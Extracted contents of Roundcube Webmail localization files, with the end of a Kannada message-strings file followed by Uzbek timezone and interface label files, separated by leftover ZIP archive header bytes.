$messages['senttooquickly'] = 'ಈ ಸಂದೇಶವನ್ನು ಕಳುಹಿಸುವ ಮೊದಲು, $sec ಸೆಕೆಂಡು (ಗಳು) ನಿರೀಕ್ಷಿಸಿ';
$messages['deletecontactconfirm']  = 'ನೀವು ನಿಜವಾಗಿಯೂ ಆಯ್ಕೆ ಸಂಪರ್ಕ (ಗಳನ್ನು) ಅಳಿಸಲು ಬಯಸುತ್ತೀರಾ?';
$messages['deletegroupconfirm']  = 'ನೀವು ನಿಜವಾಗಿಯೂ ಆಯ್ಕೆ ಗುಂಪು ಅಳಿಸಲು ಬಯಸುತ್ತೀರಾ?';
$messages['deletemessagesconfirm'] = 'ನೀವು ನಿಜವಾಗಿಯೂ ಆಯ್ದ ಸಂದೇಶ (ಗಳು ) ಅಳಿಸಲು ಬಯಸುತ್ತೀರಾ?';
$messages['contactdeleting'] = 'ಸಂಪರ್ಕ(ಗಳು ) ಅಳಿಸಲಾಗುತ್ತಿದೆ ...';
$messages['nonamewarning']  = 'ದಯವಿಟ್ಟು ಒಂದು ಹೆಸರನ್ನು ನಮೂದಿಸಿ.';
$messages['nopagesizewarning'] = 'ದಯವಿಟ್ಟು ಒಂದು ಪುಟದ ಗಾತ್ರ ನಮೂದಿಸಿ.';
$messages['norecipientwarning'] = 'ದಯವಿಟ್ಟು ಕನಿಷ್ಠ ಒಬ್ಬ ಸ್ವೀಕರಿಸುವವರನ್ನು  ನಮೂದಿಸಿ.';
$messages['nosubjectwarning']  = '"ವಿಷಯ" ಕ್ಷೇತ್ರ ಖಾಲಿಯಾಗಿದೆ. ನೀವು ಈಗ ಒಂದು ದಾಖಲಿಸಲು ಇಚ್ಛಿಸುವಿರ?';
$messages['nosearchname'] = 'ದಯವಿಟ್ಟು ಸಂಪರ್ಕ ಹೆಸರು ಅಥವಾ ಇಮೇಲ್ ವಿಳಾಸವನ್ನು ನಮೂದಿಸಿ.';
$messages['contactsearchsuccessful'] = '$nr ಸಂಪರ್ಕಗಳು ಸಿಕ್ಕಿವೆ.';
$messages['searching'] = 'ಹುಡುಕಲಾಗುತ್ತಿದೆ...';
$messages['checking'] = 'ಪರಿಶೀಲಿಸಲಾಗುತ್ತಿದೆ...';
$messages['nospellerrors'] = 'ಕಾಗುಣಿತ ದೋಷಗಳನ್ನು ಕಂಡುಬಂದಿಲ್ಲ.';
$messages['deletedsuccessfully'] = 'ಯಶಸ್ವಿಯಾಗಿ ಅಳಿಸಲಾಗಿದೆ.';
$messages['fileuploaderror'] = 'ಫೈಲ್ ಅಪ್ಲೋಡ್ ವಿಫಲವಾಗಿದೆ.';
$messages['filesizeerror'] = 'ಅಪ್ಲೋಡ್ ಮಾಡಿದ ಫೈಲ್ $size ಗರಿಷ್ಠ ಗಾತ್ರವನ್ನು ಮೀರಿದೆ';
$messages['errorsavingcontact'] = 'ಸಂಪರ್ಕ ವಿಳಾಸ ಉಳಿಸಲಾಗಲಿಲ್ಲ.';
$messages['selectimportfile'] = 'ಅಪ್ಲೋಡ್ ಮಾಡಲು ಫೈಲ್ ಆಯ್ಕೆ ಮಾಡಿ.';
$messages['autocompletechars'] = 'ಸ್ವಯಂಪೂರ್ಣಗೊಳಿಸುವಿಕೆ ಕನಿಷ್ಠ $min ಅಕ್ಷರಗಳನ್ನು ನಮೂದಿಸಿ.';
$messages['namecannotbeempty'] = 'ಹೆಸರು ಖಾಲಿ ಇರುವಂತಿಲ್ಲ.';
$messages['nametoolong'] = 'ಹೆಸರು ತುಂಬಾ ಉದ್ದವಾಗಿದೆ.';
$messages['mispellingsfound'] = 'ಸಂದೇಶದಲ್ಲಿ ಕಾಗುಣಿತ ದೋಷಗಳು ಪತ್ತೆಯಾಗಿವೆ.';
PK
h�\�\�((%program/localization/uz/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjon';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Aljir';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Qohira';
$labels['tz:africa:casablanca'] = 'Kasablanka';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dor us Salom';
$labels['tz:africa:djibouti'] = 'Jibuti';
PK
h�\����ss"program/localization/uz/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product ga xush kelibsiz!';
$labels['username'] = 'Foydalanuvchi nomi';
$labels['password'] = 'Parol';
$labels['server'] = 'Server';
$labels['login'] = 'Kirish';
$labels['menu'] = 'Menyu';
$labels['logout'] = 'Chiqish';
$labels['mail'] = 'Pochta';
$labels['settings'] = 'Sozlamalar';
$labels['addressbook'] = 'Kontaktlar';
$labels['inbox'] = 'Kirish xatlari';
$labels['drafts'] = 'Qoralama xatlar';
$labels['sent'] = 'Jo`natilgan xatlar';
$labels['trash'] = 'Savat';
$labels['junk'] = 'SPAM';
$labels['show_real_foldernames'] = 'Maxsus papkalarning haqiqiy nomini ko`rsatish';
$labels['subject'] = 'Mavzu';
$labels['from'] = 'Kimdan';
$labels['sender'] = 'Jo`natuvchi';
$labels['to'] = 'Kimga';
$labels['cc'] = 'Nusxasi';
$labels['bcc'] = 'Berkitilgan';
$labels['replyto'] = 'Javob berish';
$labels['followupto'] = 'Kuzatib borish';
$labels['date'] = 'Sana';
$labels['size'] = 'O`lchami';
$labels['priority'] = 'Imtiyoz';
$labels['organization'] = 'Tashkilot';
$labels['readstatus'] = 'O`qilganlik statusi';
$labels['listoptions'] = 'Ro`yxat sozlamalari...';
$labels['listoptionstitle'] = 'Xossalar ro\'yxati';
$labels['mailboxlist'] = 'Papkalar';
$labels['messagesfromto'] = '$count ta xat $from dan $to ga ';
$labels['threadsfromto'] = '$count ta muhokama $from dan $to ga ';
$labels['messagenrof'] = '$count dan $nr ta xat';
$labels['fromtoshort'] = '$count ta donadan $from dan– $to ga';
$labels['copy'] = 'Nusxa olish';
$labels['move'] = 'Ko`chirish';
$labels['moveto'] = '... ga ko`chirish';
$labels['copyto'] = '... ga nusxa olish';
$labels['download'] = 'Yuklash';
$labels['open'] = 'Ochish';
$labels['showattachment'] = 'Ko`rsatish';
$labels['showanyway'] = 'Shunday bo`lsada, ko`rsatish';
$labels['filename'] = 'Fayl nomi';
$labels['filesize'] = 'Fayl o`lchami';
$labels['addtoaddressbook'] = 'Kontaktlarga qo`shish';
$labels['sun'] = 'Yak';
$labels['mon'] = 'Du';
$labels['tue'] = 'Se';
$labels['wed'] = 'Chor';
$labels['thu'] = 'Pa';
$labels['fri'] = 'Ju';
$labels['sat'] = 'Sha';
$labels['sunday'] = 'Yakshanba';
$labels['monday'] = 'Dushanba';
$labels['tuesday'] = 'Seshanba';
$labels['wednesday'] = 'Chorshanba';
$labels['thursday'] = 'Payshanba';
$labels['friday'] = 'Juma';
$labels['saturday'] = 'Shanba';
$labels['jan'] = 'Yan';
$labels['feb'] = 'Fev';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'May';
$labels['jun'] = 'Iyun';
$labels['jul'] = 'Iyul';
$labels['aug'] = 'Avg';
$labels['sep'] = 'Sen';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Noy';
$labels['dec'] = 'Dek';
$labels['longjan'] = 'Yanvar';
$labels['longfeb'] = 'Fevral';
$labels['longmar'] = 'Mart';
$labels['longapr'] = 'Aprel';
$labels['longmay'] = 'May';
$labels['longjun'] = 'Iyun';
$labels['longjul'] = 'Iyul';
$labels['longaug'] = 'Avgust';
$labels['longsep'] = 'Sentyabr';
$labels['longoct'] = 'Oktyabr';
$labels['longnov'] = 'Noyabr';
$labels['longdec'] = 'Dekabr';
$labels['today'] = 'Bugun';
$labels['refresh'] = 'Yangilash';
$labels['checkmail'] = 'Pochtani yetkazish';
$labels['compose'] = 'Xat yozish';
$labels['writenewmessage'] = 'Yangi xat';
$labels['reply'] = 'Javob berish';
$labels['replytomessage'] = 'Javob berish';
$labels['replytoallmessage'] = 'Ro`yxat bo`yicha yoki jo`natuvchi va barcha qabul qiluvchilarga javob berish';
$labels['replyall'] = 'Hammaga javob berish';
$labels['replylist'] = 'Rassilka ro`yxatiga javob berish';
$labels['forward'] = 'Uzatib yuborish';
$labels['forwardinline'] = 'Xat tarkibida uzatib yuborish';
$labels['forwardattachment'] = 'Biriktirma sifatida yuborish';
$labels['forwardmessage'] = 'Uzatib yuborish';
$labels['bouncemsg'] = 'Qayta uzatish';
$labels['bounce'] = 'Qayta uzatish';
$labels['deletemessage'] = 'Savatga';
$labels['movemessagetotrash'] = 'Xatni savatga jo`natish';
$labels['printmessage'] = 'Chop etish';
$labels['previousmessage'] = 'Avvalgi xatni ko`rsatish';
$labels['firstmessage'] = 'Dastlabki xatni ko`rsatish';
$labels['nextmessage'] = 'Keyingi xatni ko`rsatish';
$labels['lastmessage'] = 'Oxirgi xatni ko`rsatish';
$labels['backtolist'] = 'Xatlar ro`yxatiga';
$labels['viewsource'] = 'Dastlabki matn';
$labels['mark'] = 'Belgilash';
$labels['markmessages'] = 'Xatni belgilash';
$labels['markread'] = 'O`qilgandek';
$labels['markunread'] = 'O`qilmagandek';
$labels['markflagged'] = 'Belgi o`rnatish';
$labels['markunflagged'] = 'Belgini olish';
$labels['moreactions'] = 'Qo`shimcha harakatlar...';
$labels['markallread'] = 'Barchasini o`qilgan deb belgilash';
$labels['folders-cur'] = 'Faqat belgilangan papka';
$labels['folders-sub'] = 'Belgilangan papka va uning tarkibidagi papkalar';
$labels['folders-all'] = 'Barcha papkalar';
$labels['more'] = 'Yana';
$labels['back'] = 'Orqaga';
$labels['options'] = 'Sozlamalar';
$labels['first'] = 'Birinchi';
$labels['last'] = 'Oxirgi';
$labels['previous'] = 'Avvalgi';
$labels['next'] = 'Keyingi';
$labels['select'] = 'Tanlash';
$labels['all'] = 'Barchasi';
$labels['none'] = 'Mavjud emas';
$labels['currpage'] = 'Mazkur sahifa';
$labels['isread'] = 'O`qilgan';
$labels['unread'] = 'O`qilmagan';
$labels['flagged'] = 'Belgilangan';
$labels['unflagged'] = 'Belgilanmagan';
$labels['unanswered'] = 'Javob berilmagan';
$labels['withattachment'] = 'Biriktirmaga ega';
$labels['deleted'] = 'O`chirilgan';
$labels['undeleted'] = 'O`chirilmagan';
$labels['replied'] = 'Javob berilgan';
$labels['forwarded'] = 'Jo`natilgan';
$labels['invert'] = 'Invertlash';
$labels['filter'] = 'Filtr';
$labels['list'] = 'Ro`yxat';
$labels['threads'] = 'Muhokama';
$labels['expand-all'] = 'Barchasini yoyish';
$labels['expand-unread'] = 'O`qilganlarni yoyish';
$labels['collapse-all'] = 'Barchasini berkitish';
$labels['threaded'] = 'Muhokama';
$labels['autoexpand_threads'] = 'Muhokamalarni yoyish';
$labels['do_expand'] = 'Barcha muhokamalar';
$labels['expand_only_unread'] = 'Faqat o`qilmagan xatlar bilan';
$labels['fromto'] = 'Jo`natuvchi/Qabul qiluvchi';
$labels['flag'] = 'Belgi';
$labels['attachment'] = 'Ilovalar';
$labels['nonesort'] = 'Mavjud emas';
$labels['sentdate'] = 'Jo`natish vaqti';
$labels['arrival'] = 'Qabul qilish vaqti';
$labels['asc'] = 'o`sish tartibida';
$labels['desc'] = 'kamayish tartibida';
$labels['listcolumns'] = 'Kolonkalar';
$labels['listsorting'] = 'bo`yicha taxlash';
$labels['listorder'] = 'Taxlash tartibi';
$labels['listmode'] = 'Ko`rish rejimi';
$labels['layout'] = 'Joylashtirish';
$labels['layoutwidescreen'] = 'Keng ekranli';
$labels['layoutdesktop'] = 'Ish stoli';
$labels['layoutlist'] = 'Ro`yxat';
$labels['layoutwidescreendesc'] = 'Keng ekran( 3 ustunli ko`rinish)';
$labels['layoutdesktopdesc'] = 'Ish stoli (keng sahifa va quyida xat ko\'rinishi)';
$labels['layoutlistdesc'] = 'Ro\'yxat (xat ko\'rinishi yo\'q)';
$labels['folderactions'] = '... papka ustida operatsiya';
$labels['compact'] = 'Siqish';
$labels['empty'] = 'Bo`shatish';
$labels['importmessages'] = 'Xatlarni import qilish';
$labels['quota'] = 'Kvota';
$labels['unknown'] = 'ma`lum emas';
$labels['unlimited'] = 'cheklanmagan';
$labels['quotatype'] = 'Kvota turi';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Foydalanilgan';
$labels['quotastorage'] = 'Disk hajmi';
$labels['quotamessage'] = 'Xatlar soni';
$labels['quicksearch'] = 'Tezkor qidirish';
$labels['searchplaceholder'] = 'Izlash...';
$labels['resetsearch'] = 'Сброс';
$labels['searchmod'] = 'Qidirish variantlari';
$labels['msgtext'] = 'Barcha xatlar';
$labels['body'] = 'Xat tarkibi';
$labels['type'] = 'Turi';
$labels['namex'] = 'Ism';
$labels['searchscope'] = 'Viloyat';
$labels['currentfolder'] = 'Mazkur papka';
$labels['subfolders'] = 'Shu va uning tarkibidagi papkalar';
$labels['allfolders'] = 'Barcha papkalar';
$labels['searchinterval-1W'] = '1 haftadan ko`proq';
$labels['searchinterval-1M'] = '1 oydan ko`proq';
$labels['searchinterval-1Y'] = '1 yildan ko`proq';
$labels['searchinterval1W'] = '1 hahftadan kamroq';
$labels['searchinterval1M'] = '1 oydan kamroq';
$labels['searchinterval1Y'] = '1 yildan kamroq';
$labels['openinextwin'] = 'Yangi oynada ochish';
$labels['emlsave'] = 'Saqlash (.eml)';
$labels['changeformattext'] = 'Oddiy matn ko`rinishida tasvirlash';
$labels['changeformathtml'] = 'HTML formatda tasvirlash';
$labels['editasnew'] = 'Yangi kabi tahrirlash';
$labels['send'] = 'Jo`natish';
$labels['sendmessage'] = 'Hoziroq jo`natish';
$labels['savemessage'] = 'Qoralamaga saqlash';
$labels['addattachment'] = 'Ilova qo`shish';
$labels['charset'] = 'Kodirovka';
$labels['editortype'] = 'Tahrirlovchi';
$labels['returnreceipt'] = 'Javob so`rovi';
$labels['dsn'] = 'Yetib borganligi haqida eslatma';
$labels['mailreplyintro'] = '$sender yozgan kun $date:';
$labels['originalmessage'] = 'Asl xat';
$labels['selectimage'] = 'Rasm tanlash';
$labels['addimage'] = 'Rasm qo`shish';
$labels['selectmedia'] = 'Video tanlash';
$labels['addmedia'] = 'Video qo`shish';
$labels['encrypt'] = 'Shiffrlash';
$labels['encryptmessage'] = 'Xatni shifrlash';
$labels['encryptmessagemailvelope'] = 'Mailvelope yordamida xatni shifrlash';
$labels['importpubkeys'] = 'Ochiq kalitlarni import qilish';
$labels['encryptedsendialog'] = 'Shifrlangan xatni jo`natish';
$labels['keyid'] = 'Kalit ID si';
$labels['keylength'] = 'Bit';
$labels['keyexpired'] = 'Muddati o`tgan';
$labels['keyrevoked'] = 'Qayta tuzilgan';
$labels['bccinstead'] = 'BCCdan foydalanish';
$labels['editidents'] = 'Ma`lumotlarni o`zgartirish';
$labels['spellcheck'] = 'Orfografiya';
$labels['checkspelling'] = 'Orfografiyani tekshirish';
$labels['resumeediting'] = 'Tahrirlashni  davom ettirish';
$labels['revertto'] = 'Tuzatmani bekor qilish';
$labels['restore'] = 'Qayta tiklash';
$labels['restoremessage'] = 'Xabar qayta tiklansinmi?';
$labels['ignore'] = 'O`tkazib yuborish';
$labels['responses'] = 'Javoblar';
$labels['insertresponse'] = 'Javob qo`yish';
$labels['manageresponses'] = 'Javoblarni boshqarish';
$labels['newresponse'] = 'Yangi javob yaratish';
$labels['addresponse'] = 'Javob yaratish';
$labels['editresponse'] = 'Javobni tahrirlash';
$labels['editresponses'] = 'Javoblarni tahrirlash';
$labels['responsename'] = 'Nomlanishi';
$labels['responsetext'] = 'Javob matni';
$labels['attach'] = 'Biriktirish';
$labels['attachments'] = 'Ilovalar';
$labels['upload'] = 'Yuklash';
$labels['uploadprogress'] = '$percent ( $total dan $current)';
$labels['close'] = 'Закрыть';
$labels['messageoptions'] = 'Xat sozlamalari...';
$labels['togglecomposeoptions'] = 'Yaratish parametrlari';
$labels['attachmentrename'] = 'Ilova nomini o`zgartirish';
$labels['low'] = 'Pastroq';
$labels['lowest'] = 'Pastr';
$labels['normal'] = 'Normal.';
$labels['high'] = 'Yuqori';
$labels['highest'] = 'O`ta yuqori.';
$labels['nosubject'] = '(nomlanmagan)';
$labels['showimages'] = 'Rasmlarni tasvirlash';
$labels['alwaysshow'] = '$sender ning barcha xatlarida rasmlarni tasvirlash';
$labels['isdraft'] = 'Bu qoralama.';
$labels['andnmore'] = 'yana $nr...';
$labels['togglemoreheaders'] = 'Yana xat sarlavhalarini yuklash';
$labels['togglefullheaders'] = 'Xatlarning asl sarlavhalarini ko`rsatish';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Matn';
$labels['savesentmessagein'] = 'Saqlash:';
$labels['dontsave'] = 'saqlama';
$labels['maxuploadsize'] = 'Faylning maksimal hajmi $size ';
$labels['addcc'] = 'Nusxasi';
$labels['addbcc'] = 'Berkitilgan nusxasi';
$labels['addreplyto'] = 'Kimga javob berish';
$labels['addfollowupto'] = 'Followup-To ga qo`shish';
$labels['mdnrequest'] = 'Mazkur xat jo`natuvchisi xat o`qilganligi haqida eslatma yuborishni so`ragan. Eslatmani yuborasizmi?';
$labels['receiptread'] = 'O`qilganligi haqida eslatma';
$labels['yourmessage'] = 'Bu sizning xatingiz o`qilganligi haqida eslatma';
$labels['receiptnote'] = 'Bu eslatma xat qabul qiluvchi tomonidan ochilganligini bildiradi, biroq uning o`qilganligini anglatmaydi.';
$labels['name'] = 'Ko`rsatiladigan nom';
$labels['firstname'] = 'Ism';
$labels['surname'] = 'Familiya';
$labels['middlename'] = 'Otasining ismi';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Suffiks';
$labels['nickname'] = 'Taxallus';
$labels['jobtitle'] = 'Lavozim';
$labels['department'] = 'Bo`lim';
$labels['gender'] = 'Jins';
$labels['maidenname'] = 'Qizlik familiyasi';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Manzil';
$labels['street'] = 'Ko`cha';
$labels['locality'] = 'Shahar';
$labels['zipcode'] = 'Indeks';
$labels['region'] = 'Viloyat';
$labels['country'] = 'Mamlakat';
$labels['birthday'] = 'Tug`ilgan kun';
$labels['anniversary'] = 'Yillik';
$labels['website'] = 'Veb sayt';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Eslatmalar';
$labels['male'] = 'erkak';
$labels['female'] = 'ayol';
$labels['manager'] = 'Boshqaruvchi';
$labels['assistant'] = 'Yordamchi';
$labels['spouse'] = 'Turmush o`rtog`i';
$labels['allfields'] = 'Barcha maydonlar';
$labels['search'] = 'Qidirish';
$labels['searchresult'] = 'Qidirish natijalari';
$labels['advsearch'] = 'Kengaytirilgan qidiruv';
$labels['advanced'] = 'Qo`shimcha';
$labels['other'] = 'Boshqa';
$labels['printcontact'] = 'Kontaktlarni chop etish';
$labels['qrcode'] = 'QR kod';
$labels['typehome'] = 'Uy';
$labels['typework'] = 'Ish';
$labels['typeother'] = 'Boshqa';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Asosiy';
$labels['typehomefax'] = 'Uy faksi';
$labels['typeworkfax'] = 'Ish faksi';
$labels['typecar'] = 'Avtomobil';
$labels['typepager'] = 'Peydjer';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Yordamchi';
$labels['typehomepage'] = 'Uy sahifasi';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Maydon qo`shish...';
$labels['addcontact'] = 'Kontakt qo`shish';
$labels['editcontact'] = 'Kontaktni tahrirlash';
$labels['contacts'] = 'Kontaktlar';
$labels['contactproperties'] = 'Kontakt xossalari';
$labels['contactnameandorg'] = 'Nom va tashkilot';
$labels['personalinfo'] = 'Shaxsiy ma`lumot';
$labels['personal'] = 'Shaxsiy';
$labels['contactphoto'] = 'Kontakt surati';
$labels['edit'] = 'Tahrirlash';
$labels['cancel'] = 'Bekor qilish';
$labels['save'] = 'Saqlash';
$labels['delete'] = 'O`chirish';
$labels['rename'] = 'Qayta nomlash';
$labels['addphoto'] = 'Qo`shish';
$labels['replacephoto'] = 'Almashtirish';
$labels['uploadphoto'] = 'Surat yuklash';
$labels['newcontact'] = 'Yangi kontakt yaratish';
$labels['deletecontact'] = 'Tanlangan kontaktlarni o`chirish';
$labels['composeto'] = 'Tanlangan kontaktlar uchun xat yaratish';
$labels['contactsfromto'] = '$count ta $from dan $to ga kontaktlar';
$labels['print'] = 'Chop etish';
$labels['export'] = 'Eksport qilish';
$labels['exportall'] = 'Barchasini eksport qilish';
$labels['exportsel'] = 'Tanlanganlarni eksport qilish';
$labels['exportvcards'] = 'Kontaktalrni vCard ko`rinishida eksport qilish';
$labels['newgroup'] = 'Yangi guruh yaratish';
$labels['addgroup'] = 'Guruh qo`shish';
$labels['grouprename'] = 'Guruh nomini o`zgartirish';
$labels['groupdelete'] = 'Guruhni o`chirish';
$labels['groupremoveselected'] = 'Tanlangan kontaktlarni guruhdan o`chirish';
$labels['uponelevel'] = 'Bir pog`ona yuqoriga';
$labels['previouspage'] = 'Avvalgi sahifani ko`rsatish';
$labels['firstpage'] = 'Birinchi sahifani ko`rsatish';
$labels['nextpage'] = 'Keyingi sahifani ko`rsatish';
$labels['lastpage'] = 'Oxirgi sahifani ko`rsatish';
$labels['group'] = 'Guruh';
$labels['groups'] = 'Guruhlar';
$labels['listgroup'] = 'Guruh a`zolari ro`yxati';
$labels['personaladrbook'] = 'Shaxsiy manzillar';
$labels['searchsave'] = 'So`rovni saqlash';
$labels['searchdelete'] = 'So`rovni o`chirish';
$labels['import'] = 'Import qilish';
$labels['importcontacts'] = 'Kontaktlarni import qilish';
$labels['importtarget'] = 'Kontaktlarni qo`shish:';
$labels['importreplace'] = 'Jami manzillar kitobini almashtirish';
$labels['importgroups'] = 'Importda guruhlar bo`yicha taqsimlash';
$labels['importgroupsall'] = 'Barcha (zaruriyat bo`lganda guruh yaratish)';
$labels['importgroupsexisting'] = 'Faqat mavjud guruhlar uchun';
$labels['done'] = 'Yakunlandi';
$labels['settingsfor'] = 'Kun sozlamalari';
$labels['about'] = 'Dastur haqida';
$labels['preferences'] = 'Sozlamalar';
$labels['userpreferences'] = 'Foydalanuvchi sozlamalari';
$labels['editpreferences'] = 'Foydalanuvchi sozlamalarini tahrirlash';
$labels['identities'] = 'Profillar';
$labels['manageidentities'] = 'Profillarni boshqarish';
$labels['newidentity'] = 'Yangi profil yaratish';
$labels['addidentity'] = 'Profil qo`shish';
$labels['editidentity'] = 'Profilni o`zgartirish';
$labels['preferhtml'] = 'HTML ni afzal ko`rish';
$labels['defaultcharset'] = 'Dastlabki holdagi simvollar to`plami';
$labels['htmlmessage'] = 'HTML xat';
$labels['messagepart'] = 'Qismlar';
$labels['digitalsig'] = 'Raqamli imzo';
$labels['dateformat'] = 'Sana formati';
$labels['timeformat'] = 'Vaqt formati';
$labels['prettydate'] = 'Chiroyli sanalar';
$labels['setdefault'] = 'Dastlabki holatdagidek belgilash';
$labels['autodetect'] = 'Avtomatik aniqlash';
$labels['language'] = 'Til';
$labels['timezone'] = 'Vaqt mintaqasi';
$labels['pagesize'] = 'Sahifada qatorlar soni';
$labels['signature'] = 'Imzo';
$labels['dstactive'] = 'Yozgi vaqt';
$labels['showinextwin'] = 'Xatni yangi sahifada ochish';
$labels['composeextwin'] = 'Yangi oynada yaratish';
$labels['htmleditor'] = 'HTML da xat yaratish';
$labels['htmlonreply'] = 'HTML da faqat javob xati uchun';
$labels['htmlonreplyandforward'] = 'HTMLda xabarni qayta uzatish yoki javob berishda';
$labels['htmlsignature'] = 'HTML da imzo';
$labels['showemail'] = 'Elektron pochta manzili va manzil nomini ko`rsatish';
$labels['previewpane'] = 'Dastlabki tasvirlash panelini ko`rsatish';
$labels['skin'] = 'Dizayn uslubi';
$labels['logoutclear'] = 'Chiqishda savatni bo`shatish';
$labels['logoutcompact'] = 'Chiqishda kirish xatlarini siqish';
$labels['uisettings'] = 'Foydalanuvchi interfeysi';
$labels['serversettings'] = 'Server sozlamalari';
$labels['mailboxview'] = 'Pochta qutisi ko`rinishi';
$labels['mdnrequests'] = 'O`qilganligi haqida eslatma';
$labels['askuser'] = 'Jo`natishdan avval so`rash';
$labels['autosend'] = 'Avtomatik tarzda yuborish';
$labels['autosendknown'] = 'Manzil kitobidagi manzillarga eslatma jo`natish, aks holda so`rash';
$labels['autosendknownignore'] = 'Manzil kitobidagi manzillarga eslatma jo`natish, qolganlariga rad etish';
$labels['ignorerequest'] = 'So`rovni o`tkazib yuborish';
$labels['readwhendeleted'] = 'O`chirganda o`qilgan deb belgilash';
$labels['flagfordeletion'] = 'O`chirish o`rniga o`chiriladigan deb belgilash';
$labels['skipdeleted'] = 'O`chirilgan xatlarni ko`rsatmaslik';
$labels['deletealways'] = 'Agar savatga joylashtirish amalga oshmayotgan bo`lsa xatni o`chirish';
$labels['deletejunk'] = 'SPAM papkasidagi xatlarni Savatga yubormasdan o`chirish';
$labels['showremoteimages'] = 'Uzoqlashgan rasmlarni ko`rsatish';
$labels['fromknownsenders'] = 'Ma`lum jo`natuvchidan';
$labels['always'] = 'doim';
$labels['alwaysbutplain'] = 'doim, javob faqat matn ko`inishda bo`lgan holdan tashqari';
$labels['showinlineimages'] = 'Ilovadagi rasmlarni xatning ostki qismida ko`rsatish';
$labels['autosavedraft'] = 'Qoralamani avto saqlash';
$labels['everynminutes'] = 'Har $n daqiqada';
$labels['refreshinterval'] = 'Yangilash (Yangi xatlarni tekshirish va hkz.)';
$labels['never'] = 'hech qachon';
$labels['immediately'] = 'zudlik bilan';
$labels['messagesdisplaying'] = 'Xatlarni tasvirlash';
$labels['messagescomposition'] = 'Xat yaratish';
$labels['mimeparamfolding'] = 'Ilovalar nomlari';
$labels['2231folding'] = 'RFC 2231 (faqat yangi dasturlar uchun)';
$labels['miscfolding'] = 'RFC 2047/2231  (ko`proq moslik)';
$labels['2047folding'] = 'RFC 2047  (eski dasturlar uchun)';
$labels['force7bit'] = '8 bitli simvollar uchun MIME dan foydalanish';
$labels['savelocalstorage'] = "Veb brauzerning lokal xotirasida saqlash (vaqtincha)";
$labels['advancedoptions'] = 'Qo`shimcha xossalar';
$labels['toggleadvancedoptions'] = 'Qo`shimcha xossalar';
$labels['focusonnewmessage'] = 'Yangi xatda brauzer oynasini fokuslantirish';
$labels['checkallfolders'] = 'Barcha papkalarda yangi xabarlarni tekshirish';
$labels['defaultfont'] = ' HTML xatda shrift';
$labels['mainoptions'] = 'Asosiy xossalar';
$labels['browseroptions'] = 'Brauzer sozlamalari';
$labels['section'] = 'Bo`lim';
$labels['maintenance'] = 'Xizmat ko`rsatish';
$labels['newmessage'] = 'Yangi xat';
$labels['signatureoptions'] = 'Imzo xossalari';
$labels['whenreplying'] = 'Javob berishda';
$labels['replyempty'] = 'Asl xatlarni izohlamaslik';
$labels['replytopposting'] = 'izohlanayotgandan xatdan avval yangi xatni boshlash';
$labels['replytoppostingnoindent'] = 'Iqtibosdan yuqorida yangi xatni yozishni boshlang (ortiqcha bo\'sh maydonsiz)';
$labels['replybottomposting'] = 'izohlanayotgandan xatdan keyin yangi xatni boshlash';
$labels['replyremovesignature'] = 'javob berishda imzoni yo`qotish';
$labels['autoaddsignature'] = 'Imzoni avtomatik qo`shish';
$labels['newmessageonly'] = 'faqat yangi xatlar uchun';
$labels['replyandforwardonly'] = 'faqat javob va qayta uzatishda';
$labels['insertsignature'] = 'Imzo qo`yish';
$labels['sigbelow'] = 'Izohlanayotgan xatdan so`ng imzo qo`yish';
$labels['sigseparator'] = 'Imzoga standart ajratuvchi qo`yish';
$labels['automarkread'] = 'Xabarlarni o‘qilgan sifatida belgilash';
$labels['afternseconds'] = ' $n sekunddan so`ng';
$labels['reqmdn'] = 'Doim yetkazilganligi haqida eslatmani so`rash';
$labels['reqdsn'] = 'Doim yetkazilganligi holati to`g`risida eslatmani so`rash';
$labels['replysamefolder'] = 'javob xatini original xat joylashgan joyga qo`yish';
$labels['defaultabook'] = 'Dastlabki holdagi Manzillar kitobi';
$labels['autocompletesingle'] = 'Avto to`ldirishda qo`shimcha manzillarni o`tkazib yuborish';
$labels['listnamedisplay'] = 'Kontaktlar ro`yxatini ko`rsatish';
$labels['spellcheckbeforesend'] = 'Jo`natishdan avval orfografiyani tekshirish';
$labels['spellcheckoptions'] = 'Orfografiyani tekshirish parametri';
$labels['spellcheckignoresyms'] = 'Simvolli so`zlarni o`tkazib yuborish';
